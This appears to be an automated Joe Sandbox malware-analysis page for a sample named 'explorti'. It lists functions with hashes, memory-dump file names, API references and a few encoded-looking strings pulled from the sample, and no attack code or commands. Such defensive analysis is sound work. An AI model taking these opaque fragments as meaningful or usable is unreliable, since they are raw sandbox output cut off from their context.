Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 2a20f77183d9f5c45b9b54e726e3c300f7a1fed69c8fbaf57f67bb045605407b
Instruction ID: cda2f341257060f9569113f91390828dd24dc58ada64e66d11450cf25e36e229
Opcode Fuzzy Hash: 2a20f77183d9f5c45b9b54e726e3c300f7a1fed69c8fbaf57f67bb045605407b
Instruction Fuzzy Hash: 4BC25D75E082288FDF65CE28DD407E9B3B5EB8A315F1541EAE85DE7240E774AE818F40

Function 001A2BB0 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction ID: 29f07dfde1cb6aa26641fe96c6876fc4f4d351971a3d3d035ecea9bd6418de89
Opcode Fuzzy Hash: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction Fuzzy Hash: E9F13D75E002199FDF14CFACC9906AEB7B1FF89314F258269E819AB345D731AE41CB90

Function 0017CAED Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,0017CE55,?,?,?,?,0017CE8A,?,?,?,?,?,?,0017C400,?,00000001), ref: 0017CB06

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 6ec00dc95bace8f898089d82db7bc03d3ffdbc7f64980e92842e1b384fd3a049
Instruction ID: 4891027d23a3a49b860d33e14f09c9d5e84d4d544abe87f1f4eda479b7d0e298
Opcode Fuzzy Hash: 6ec00dc95bace8f898089d82db7bc03d3ffdbc7f64980e92842e1b384fd3a049
Instruction Fuzzy Hash: C0D02232A4303853CB123BC0BC008ADBF299B48BD03108065F90913320CB10ACC05BE0

Function 00197D63 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00197EDF

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: 08ecee309f8e5b435b2c007c09d92b00ba034cacc3bb39330f82c3259f8c102b
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 3151387063C6495ADF3C8ABC88967FE67DAAF52300F180499E482D77C2DB11DD4983A6

Function 00164CD0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0bf08ea73c179016ceffeb4f9430840e400e7075139afb26b3c400d56ce5d85
Instruction ID: 35dd3fc68bf9ee44442cebdd0db76ef9d49fe74adaf65269e1a95826b74b2bc3
Opcode Fuzzy Hash: e0bf08ea73c179016ceffeb4f9430840e400e7075139afb26b3c400d56ce5d85
Instruction Fuzzy Hash: 06226FB3F515144BDB0CCB9DDCA27EDB2E3AFD8218B0E803DA40AE3745EA79D9158644

Function 001A6EE9 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b4c4b33301b4276b7bb1cf0717f4f1ee31c6a1cdcfb0cda9f9caa66c95fbea7
Instruction ID: 4091266d520fa2844630f1f28634c45466a4bca934fcbf06e8d12fc70e9a336b
Opcode Fuzzy Hash: 3b4c4b33301b4276b7bb1cf0717f4f1ee31c6a1cdcfb0cda9f9caa66c95fbea7
Instruction Fuzzy Hash: 50B13C39614605DFD719CF28C896A657BE0FF46364F298658F899CF2E1C335EA82CB40

Function 00164AD0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 367af441761af4e66b4d17cbcc8428e268696c9104d485243b5d6090cb84404b
Instruction ID: 2dcee70273acb13c0a8b86778a0eca88abc86c28f660675e4054d11f2bfbe9da
Opcode Fuzzy Hash: 367af441761af4e66b4d17cbcc8428e268696c9104d485243b5d6090cb84404b
Instruction Fuzzy Hash: FF51A1716087918FD319CF2D842563ABFF1BF96200F084A9EE4DA87292D775EA04CB91

Function 001A775B Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0e05927fa2023cc387a5f3c2f2c6fc6185c4bf43476f7938c4580ef69275559
Instruction ID: f9b2510af7406ebe0895c7869c1e20d77722061bb6e0c7f1354b3668f417d410
Opcode Fuzzy Hash: a0e05927fa2023cc387a5f3c2f2c6fc6185c4bf43476f7938c4580ef69275559
Instruction Fuzzy Hash: 5C21B673F2043947770CC47E8C5727DB6E1C78C541745423AE8A6EA2C1D968D917E2E4

Function 001A763B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7996989215ed4d3a623b9ca6b5a785b3c892b43e7b4eeb72bc84d5a8a908cac9
Instruction ID: d5ea386c20abaa19b9aacc5472d3d88f763e40e6c61832fddbfb1352aa06ee6a
Opcode Fuzzy Hash: 7996989215ed4d3a623b9ca6b5a785b3c892b43e7b4eeb72bc84d5a8a908cac9
Instruction Fuzzy Hash: B4118663F30C255B775C817D8C172BAA6D2EBD825071F533AD826E72C4E9A4DE23D290

Function 001A8700 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 998d9c2233f8a71733b9ec0fb2e67bfe343ae745308c427dfd048f8ac9eaef7c
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 47112B7F20008283D7498AFDC8F8AB6F795EBC7320B3D437AD1528B754DB2299459600

Function 0019643B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21acb1e27f433b993aab0cc126bc6de66049c298b130ff9ccd0fe09aaf759959
Instruction ID: 4d42f4b2c13ed0573b9cac958a6660065e60c482f6674ce1e07a900658a6acc4
Opcode Fuzzy Hash: 21acb1e27f433b993aab0cc126bc6de66049c298b130ff9ccd0fe09aaf759959
Instruction Fuzzy Hash: 58E0C230001548AFDF357B54C914E483B6EEF65344F108850FC0447231CB39EC91C690

Function 0019A1A2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 16740e60975734a065c6ff7a1ef18a171e0ec38f8ffa6d96d6a70a11b6ddafb1
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 7AE08C32915228EBCB14DB88D94498AF3FCEB48B00F5144A6B501D3250C370DE00C7D0

Function 00172DF0 Relevance: 17.9, APIs: 3, Strings: 7, Instructions: 434COMMON

Download Yara Rule

Strings

246122658369, xrefs: 001733A4
Ip==, xrefs: 0017366E
invalid stoi argument, xrefs: 0017422A
aAJTazgvOn==, xrefs: 00172E97
stoi argument out of range, xrefs: 00172DF0, 00174239
Zww=, xrefs: 0017338A
Krkk, xrefs: 0017375F

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: 246122658369$Ip==$Krkk$Zww=$aAJTazgvOn==$invalid stoi argument$stoi argument out of range
API String ID: 0-3898363485
Opcode ID: b0fa355327f76beded206609e90b0563257c01c40f358722e167a04554b649d9
Instruction ID: 72f36c78c4aa9d497cf7cff7f3319fc4e24e1f9eb4b7c02882f8ec57e2bcdb53
Opcode Fuzzy Hash: b0fa355327f76beded206609e90b0563257c01c40f358722e167a04554b649d9
Instruction Fuzzy Hash: 0902D370A00248DFEF15DFA8C855BEEBBB5AF15304F508158E819A72C2D7759A84CBA2

Function 00162DC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00162E5F
GetCurrentThreadId.KERNEL32 ref: 00162E7E
__Mtx_unlock.LIBCPMT ref: 00162ECC
__Cnd_broadcast.LIBCPMT ref: 00162EE3
__Mtx_unlock.LIBCPMT ref: 00162FF5
GetCurrentThreadId.KERNEL32 ref: 00163032
__Mtx_unlock.LIBCPMT ref: 0016309B

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 8845b2ca3992b2cef46b421e2987eb32c3f5990d974e40740573ae42831d8e2e
Instruction ID: 6fe1630472d093a8258bbf2cedd2f938c411dffa06aab0549323f4d7613ee8a1
Opcode Fuzzy Hash: 8845b2ca3992b2cef46b421e2987eb32c3f5990d974e40740573ae42831d8e2e
Instruction Fuzzy Hash: C8A1DFB0A016159FDB21DB64CD44B6BBBF8EF15310F048279E819D7682EB35EA24CBD1

Function 00194750 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00194787
___except_validate_context_record.LIBVCRUNTIME ref: 0019478F
_ValidateLocalCookies.LIBCMT ref: 00194818
__IsNonwritableInCurrentImage.LIBCMT ref: 00194843
_ValidateLocalCookies.LIBCMT ref: 00194898

Strings

csm, xrefs: 0019482D

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
